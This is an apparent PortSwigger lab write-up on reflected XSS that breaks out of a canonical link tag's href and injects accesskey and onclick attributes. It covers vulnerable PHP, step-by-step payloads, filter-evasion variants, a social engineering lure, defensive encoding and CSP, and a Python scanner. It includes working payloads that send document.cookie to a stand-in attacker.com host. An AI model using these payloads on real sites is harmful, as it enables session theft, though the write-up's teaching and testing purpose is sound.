PortSwigger — 2025.12.02

Canonical Link Tag XSS: accesskey + onclick Attribute Injection

PortSwigger Reflected XSS (attribute injection) medium

Overview

Canonical link tag XSS exploits user input reflected in <link rel="canonical"> elements in the page <head>. When angle brackets are escaped (preventing tag injection), attackers can still inject attributes like accesskey and onclick to achieve JavaScript execution via keyboard shortcuts.

Purpose

Canonical links tell search engines which URL is the “main” version when multiple URLs show identical content.

The SEO problem:

https://shop.com/product?id=123
https://shop.com/product?id=123&ref=email
https://shop.com/product?id=123&utm_source=twitter

All three URLs show the same product but appear as different pages to search engines, causing:

  • Split SEO value
  • Duplicate content penalties
  • Diluted page rankings

The solution:

<link rel="canonical" href="https://shop.com/product?id=123"/>

Tells search engines: “This is the official URL, ignore variations”

Where They Live

Canonical links always go in the <head> section:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Product Page</title>
    <link rel="canonical" href="https://shop.com/product?id=123"/>
    <!-- Hidden metadata, not visible to users -->
</head>
<body>
    <h1>Product Name</h1>
    <p>Product description...</p>
</body>
</html>

Reason 1: Hidden from View

Visibility blindspot:

  • Developers focus on visible content
  • Sanitize body content carefully
  • Forget about <head> metadata
  • Canonical links become overlooked injection points

Common pattern:

// Body content - carefully sanitized
$title = htmlspecialchars($_GET['title']);
echo '<h1>' . $title . '</h1>';  // Safe

// Canonical link - forgotten!
$url = $_SERVER['REQUEST_URI'];
echo '<link rel="canonical" href="https://site.com' . $url . '"/>';  // Vulnerable

Reason 2: Dynamic URL Construction

Typical implementation:

// Build canonical from current request
$currentPath = $_SERVER['REQUEST_URI'];
echo '<link rel="canonical" href="' . $baseUrl . $currentPath . '"/>';

Problem: Direct reflection without sanitization

Critical misconception: “Metadata tags are harmless”

Reality: <link> is a full HTML element that can:

  • Have event handlers (onclick, onerror, onload)
  • Respond to keyboard shortcuts (accesskey)
  • Execute JavaScript when activated
  • Work even though invisible in the page!
<!-- This works! -->
<link rel="canonical" href="/page" accesskey="x" onclick="alert(1)"/>

Reason 4: Angle Bracket Escaping Isn’t Enough

Developer thinks:

  • “I escaped < and > so no tag injection!”
  • “XSS prevented!”

Reality:

  • Can’t inject new tags: <script> -> &lt;script&gt;
  • But can inject attributes within existing tag!
  • Angle bracket escaping doesn’t protect against attribute injection

The Attack Pattern

Step 1: Identify the Reflection

Vulnerable code:

$path = $_SERVER['REQUEST_URI'];
echo '<link rel="canonical" href="https://example.com' . $path . '"/>';

Normal request:

GET /product?id=123

Generated HTML:

<link rel="canonical" href="https://example.com/product?id=123"/>

Step 2: Test for Angle Bracket Escaping

Test payload:

/product?test=<script>alert(1)</script>

If escaped:

<link rel="canonical" href="https://example.com/product?test=&lt;script&gt;alert(1)&lt;/script&gt;"/>

Conclusion: Can’t inject new tags, but attributes still possible!

Step 3: Break Out of href Attribute

Goal: Close the href quote to inject new attributes

Original:

<link rel="canonical" href="https://example.com/PATH"/>

Inject closing quote in PATH:

/" test="value

Result:

<link rel="canonical" href="https://example.com/" test="value"/>
                                              ^           ^
                                    Closes href     New attribute!

Step 4: Inject accesskey and onclick

Payload:

" accesskey="x" onclick="alert(1)" x="

Breakdown:

  1. " - Closes href attribute
  2. accesskey="x" - Creates keyboard shortcut (Alt+Shift+X)
  3. onclick="alert(1)" - JavaScript to execute on activation
  4. x=" - Dummy attribute to consume the original trailing "

Result:

<link rel="canonical"
      href="https://example.com/"
      accesskey="x"
      onclick="alert(1)"
      x=""/>

Step 5: User Activation

When user presses Alt+Shift+X (or Alt+X on Mac):

  1. Browser searches for element with accesskey="x"
  2. Finds the <link rel="canonical"> element
  3. “Activates” it (equivalent to clicking)
  4. onclick event handler fires
  5. JavaScript executes: alert(1)
  6. XSS complete!

Visual Attack Flow

┌──────────────────────────────────────────┐
│ Step 1: Attacker Crafts Malicious URL    │
│ https://target.com/" accesskey="x"...    │
└──────────────────────────────────────────┘
                ↓
┌──────────────────────────────────────────┐
│ Step 2: Victim Visits URL                │
│ (Via phishing, social engineering, etc)  │
└──────────────────────────────────────────┘
                ↓
┌──────────────────────────────────────────┐
│ Step 3: Server Generates HTML            │
│ <link rel="canonical"                    │
│   href="https://target.com/"             │
│   accesskey="x"                          │
│   onclick="alert(document.domain)"       │
│   x=""/>                                  │
│                                          │
│ Note: Angle brackets escaped but         │
│ attributes are not!                      │
└──────────────────────────────────────────┘
                ↓
┌──────────────────────────────────────────┐
│ Step 4: Social Engineering               │
│ "Press Alt+X to continue"                │
│ "Press Alt+X to unlock content"          │
│ Or: Lab auto-tests key combinations      │
└──────────────────────────────────────────┘
                ↓
┌──────────────────────────────────────────┐
│ Step 5: User Presses Alt+Shift+X         │
│ (Windows/Linux)                          │
│ Or Alt+X (Mac)                           │
└──────────────────────────────────────────┘
                ↓
┌──────────────────────────────────────────┐
│ Step 6: Browser Activates Link Element   │
│ - Searches DOM for accesskey="x"         │
│ - Finds canonical link                   │
│ - Triggers onclick event                 │
└──────────────────────────────────────────┘
                ↓
┌──────────────────────────────────────────┐
│ Step 7: JavaScript Execution             │
│ onclick="alert(document.domain)" runs    │
│ XSS achieved!                            │
└──────────────────────────────────────────┘

Understanding accesskey

What It Does

The accesskey attribute creates a keyboard shortcut to “activate” an element:

<a href="/help" accesskey="h">Help</a>
<!-- Press Alt+Shift+H to follow this link -->

<button accesskey="s">Save</button>
<!-- Press Alt+Shift+S to click this button -->

<input accesskey="u">
<!-- Press Alt+Shift+U to focus this input -->

Browser-Specific Shortcuts

Browser OS Key Combination
Chrome Windows/Linux Alt + Shift + [key]
Firefox Windows/Linux Alt + Shift + [key]
Edge Windows Alt + Shift + [key]
Safari Mac Alt + [key]
Chrome Mac Ctrl + Alt + [key]

What “Activation” Means

For different elements:

  • Links (<a>) -> Follows the link
  • Buttons -> Clicks the button
  • Inputs -> Focuses the input
  • Any element with onclick -> Triggers onclick!

For <link> elements:

  • No default behavior
  • But onclick still fires!
  • Perfect for XSS

Why accesskey Works on Invisible Elements

Key insight: accesskey works on any HTML element, even if:

  • Not visible (display:none)
  • In the <head> section
  • Has no visual representation
  • User can’t see it

Example:

<head>
    <link rel="canonical" href="/page" accesskey="x" onclick="alert(1)"/>
    <!-- Invisible but still has accesskey! -->
</head>

When user presses Alt+Shift+X -> onclick fires!

Payload Construction

Basic Payload Structure

" accesskey="KEY" onclick="JAVASCRIPT" x="

Components:

  1. Close href quote: "
  2. Keyboard shortcut: accesskey="KEY"
  3. JavaScript code: onclick="JAVASCRIPT"
  4. Consume trailing quote: x="

Practical Payloads

Basic alert:

" accesskey="x" onclick="alert(1)" x="

Show domain:

" accesskey="x" onclick="alert(document.domain)" x="

Show cookie:

" accesskey="x" onclick="alert(document.cookie)" x="

Cookie exfiltration:

" accesskey="x" onclick="fetch('https://attacker.com?c='+document.cookie)" x="

Redirect to attacker:

" accesskey="x" onclick="location='https://attacker.com?c='+document.cookie" x="

Quote Type Variations

If href uses double quotes:

<link rel="canonical" href="URL"/>

Payload: " accesskey="x" onclick="alert(1)" x="

If href uses single quotes:

<link rel="canonical" href='URL'/>

Payload: ' accesskey='x' onclick='alert(1)' x='

Mixed quotes (if needed):

" accesskey='x' onclick='alert(1)' x="

Alternative Keys

If ‘x’ doesn’t work, try:

" accesskey="a" onclick="alert(1)" x="  (Alt+Shift+A)
" accesskey="z" onclick="alert(1)" x="  (Alt+Shift+Z)
" accesskey="1" onclick="alert(1)" x="  (Alt+Shift+1)
" accesskey="X" onclick="alert(1)" x="  (Capital X)

Encoded Variations

HTML entities:

" accesskey="x" onclick="alert&#40;1&#41;" x="

JavaScript Unicode:

" accesskey="x" onclick="\u0061lert(1)" x="

String concatenation:

" accesskey="x" onclick="window['ale'+'rt'](1)" x="

Alternative Event Handlers

If onclick is blocked, try other events:

onmouseover (requires hover)

" accesskey="x" onmouseover="alert(1)" x="

(Pressing accesskey brings focus, may trigger hover)

onfocus

" accesskey="x" onfocus="alert(1)" tabindex="1" x="

(accesskey focuses element with tabindex)

" accesskey="x" onerror="alert(1)" href="invalid" x="

(If href becomes invalid, onerror fires)

onauxclick (middle/right click)

" accesskey="x" onauxclick="alert(1)" x="

Real-World Lab Scenario

PortSwigger Lab Pattern

Lab says:

  • Reflects input in canonical link tag
  • Escapes angle brackets
  • Simulated user will press key combinations

Translation:

  • Input goes in <link rel="canonical">
  • Can’t use <script> or other tags
  • Use accesskey because lab auto-tests keys

Solution Steps

Step 1: Find the parameter

https://lab-id.web-security-academy.net/?[PARAM]=test

Step 2: View source to find canonical link

<link rel="canonical" href="https://lab-id.web-security-academy.net/?[PARAM]=test"/>

Step 3: Test quote breakout

?[PARAM]="test

Check if creates: href="https://...?[PARAM]="test"/>

Step 4: Inject payload

?[PARAM]=" accesskey="x" onclick="alert(1)" x="

Step 5: Verify in source

<link rel="canonical"
      href="https://lab-id.web-security-academy.net/?[PARAM]="
      accesskey="x"
      onclick="alert(1)"
      x=""/>

Step 6: Let lab test keys PortSwigger labs automatically test key combinations

Step 7: Lab solved!

Why This Technique Is Effective

Advantage 1: Bypasses Tag-Based Filters

Blocked:

  • <script>alert(1)</script>
  • <img src=x onerror=alert(1)>
  • </link><svg onload=alert(1)>

Allowed:

  • " accesskey="x" onclick="alert(1)" x="
  • No new tags, just attributes
  • Angle bracket escaping irrelevant

Advantage 2: Hidden Injection Point

Developers focus on:

  • Form inputs
  • Search results
  • User comments
  • Profile pages

Developers forget:

  • Canonical links
  • Other <head> metadata
  • Open Graph tags
  • Twitter card tags

Advantage 3: Works Without User Interaction (in Labs)

PortSwigger labs:

  • Simulate key presses automatically
  • Test Alt+Shift+X, Alt+Shift+A, etc.
  • XSS fires without manual testing

Advantage 4: Legitimate HTML

The payload looks valid:

<link rel="canonical"
      href="https://example.com/"
      accesskey="x"
      onclick="alert(1)"/>
  • Valid HTML syntax
  • All attributes are legal
  • No obvious malicious patterns
  • May bypass WAF signatures

Defense Strategies

1. HTML Encode for Attribute Context

Proper encoding:

$path = $_SERVER['REQUEST_URI'];
$safePath = htmlspecialchars($path, ENT_QUOTES, 'UTF-8');
echo '<link rel="canonical" href="https://example.com' . $safePath . '"/>';

What it does:

  • Encodes " -> &quot;
  • Encodes ' -> &#039;
  • Encodes < -> &lt;
  • Encodes > -> &gt;
  • Encodes & -> &amp;

Result:

<!-- Input: " accesskey="x" onclick="alert(1)" x=" -->
<link rel="canonical" href="https://example.com/&quot; accesskey=&quot;x&quot; onclick=&quot;alert(1)&quot; x=&quot;"/>
<!-- Harmless! Displayed as part of URL, not as attributes -->

2. Use URL Validation

Validate before reflecting:

function isValidCanonical($url) {
    // Must start with expected base
    if (!str_starts_with($url, 'https://example.com/')) {
        return false;
    }

    // Must not contain quotes
    if (strpos($url, '"') !== false || strpos($url, "'") !== false) {
        return false;
    }

    return true;
}

$url = 'https://example.com' . $_SERVER['REQUEST_URI'];
if (isValidCanonical($url)) {
    echo '<link rel="canonical" href="' . htmlspecialchars($url, ENT_QUOTES) . '"/>';
}

3. Whitelist Parameters

Only reflect known-safe parameters:

$allowedParams = ['id', 'page', 'sort'];
$cleanParams = [];

foreach ($_GET as $key => $value) {
    if (in_array($key, $allowedParams)) {
        $cleanParams[$key] = preg_replace('/[^a-zA-Z0-9]/', '', $value);
    }
}

$queryString = http_build_query($cleanParams);
$canonical = 'https://example.com/page?' . $queryString;
echo '<link rel="canonical" href="' . htmlspecialchars($canonical, ENT_QUOTES) . '"/>';

4. Use Static Canonical URLs

Best practice:

// Don't reflect entire URL
// Use product ID only
$productId = (int)$_GET['id'];  // Cast to int
$canonical = 'https://example.com/product?id=' . $productId;
echo '<link rel="canonical" href="' . $canonical . '"/>';

5. Content Security Policy

Content-Security-Policy: default-src 'self'; script-src 'self'

Benefit:

  • Blocks inline event handlers
  • onclick="alert(1)" won’t execute
  • Defense-in-depth layer

6. Remove accesskey Attributes (CSP Level 3)

Content-Security-Policy: require-trusted-types-for 'script';

Some CSP implementations can restrict inline event handlers and dynamic attributes.

Testing Methodology

View page source:

  • Ctrl+U (Chrome/Firefox)
  • Look in <head> section
  • Find <link rel="canonical">

Example:

<head>
    <meta charset="UTF-8">
    <title>Page Title</title>
    <link rel="canonical" href="https://example.com/page?param=value"/>
</head>

Step 2: Test Reflection

Modify URL parameter:

?param=TEST123MARKER

Check if reflected:

<link rel="canonical" href="https://example.com/page?param=TEST123MARKER"/>

Reflected = potential injection point

Step 3: Test Quote Breakout

Try closing quote:

?param="test

Check result:

<link rel="canonical" href="https://example.com/page?param="test"/>
                                                         ^
                                                Breaks out of href!

Step 4: Test Attribute Injection

Inject test attribute:

?param=" test="value" x="

Verify:

<link rel="canonical" href="https://example.com/page?param=" test="value" x=""/>

Attribute injection works!

Step 5: Inject XSS Payload

Full payload:

?param=" accesskey="x" onclick="alert(1)" x="

Verify in source:

<link rel="canonical"
      href="https://example.com/page?param="
      accesskey="x"
      onclick="alert(1)"
      x=""/>

Step 6: Test Execution

Manual test:

  • Press Alt+Shift+X (Windows/Linux)
  • Press Alt+X (Mac)
  • Check if alert fires

PortSwigger labs:

  • Submit the URL
  • Lab automatically tests key combinations
  • Marks as solved if XSS works

Automation Script

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse, parse_qs

def test_canonical_xss(url):
    """
    Test for canonical link XSS vulnerability
    """

    print(f"[*] Testing {url}\n")

    # Step 1: Get the page and find canonical link
    r = requests.get(url)
    soup = BeautifulSoup(r.text, 'html.parser')
    canonical = soup.find('link', rel='canonical')

    if not canonical:
        print("[-] No canonical link found")
        return

    print(f"[+] Found canonical: {canonical.get('href')}")

    # Step 2: Extract parameters
    parsed = urlparse(url)
    params = parse_qs(parsed.query)

    if not params:
        print("[-] No parameters to test")
        return

    # Step 3: Test each parameter
    payloads = [
        '" accesskey="x" onclick="alert(1)" x="',
        "' accesskey='x' onclick='alert(1)' x='",
        '" accesskey="a" onclick="alert(1)" x="',
    ]

    for param_name in params:
        print(f"\n[*] Testing parameter: {param_name}")

        for i, payload in enumerate(payloads, 1):
            test_params = params.copy()
            test_params[param_name] = [payload]

            # Build test URL
            test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
            test_url += '?' + '&'.join([f"{k}={v[0]}" for k, v in test_params.items()])

            print(f"  [*] Payload {i}: {payload[:40]}...")

            try:
                r = requests.get(test_url)
                soup = BeautifulSoup(r.text, 'html.parser')
                canonical = soup.find('link', rel='canonical')

                if canonical:
                    # Check if accesskey and onclick are present
                    if canonical.get('accesskey') and canonical.get('onclick'):
                        print(f"      VULNERABLE!")
                        print(f"      Canonical: {canonical}")
                        print(f"      Test URL: {test_url}")
                        return
                    else:
                        print(f"      Payload filtered or not reflected")
                else:
                    print(f"      Canonical link removed")

            except Exception as e:
                print(f"      Error: {str(e)}")

# Usage
test_canonical_xss('https://target.com/page?id=123')

Key Takeaways

  • Hidden Metadata: Canonical links in <head> are often forgotten by developers
  • Angle Brackets Insufficient: Escaping <> doesn’t prevent attribute injection
  • accesskey Power: Creates keyboard shortcuts on ANY element, even invisible ones
  • Quote Breakout: Closing href quote allows injection of new attributes
  • Dummy Attributes: x=" consumes trailing quotes to keep HTML valid
  • Social Engineering: “Press Alt+X” can trick users into triggering XSS
  • Lab Automation: PortSwigger labs automatically test key combinations
  • Defense Requires Encoding: Must HTML-encode ALL reflected input, even in metadata
  • Attribute Breakout XSS (autofocus + onfocus) - similar attribute injection
  • Systematic XSS Testing with Burp Intruder
  • XSS Testing Punch List

References

#xss #reflected-xss #attribute-injection #accesskey #canonical-link #portswigger #webapp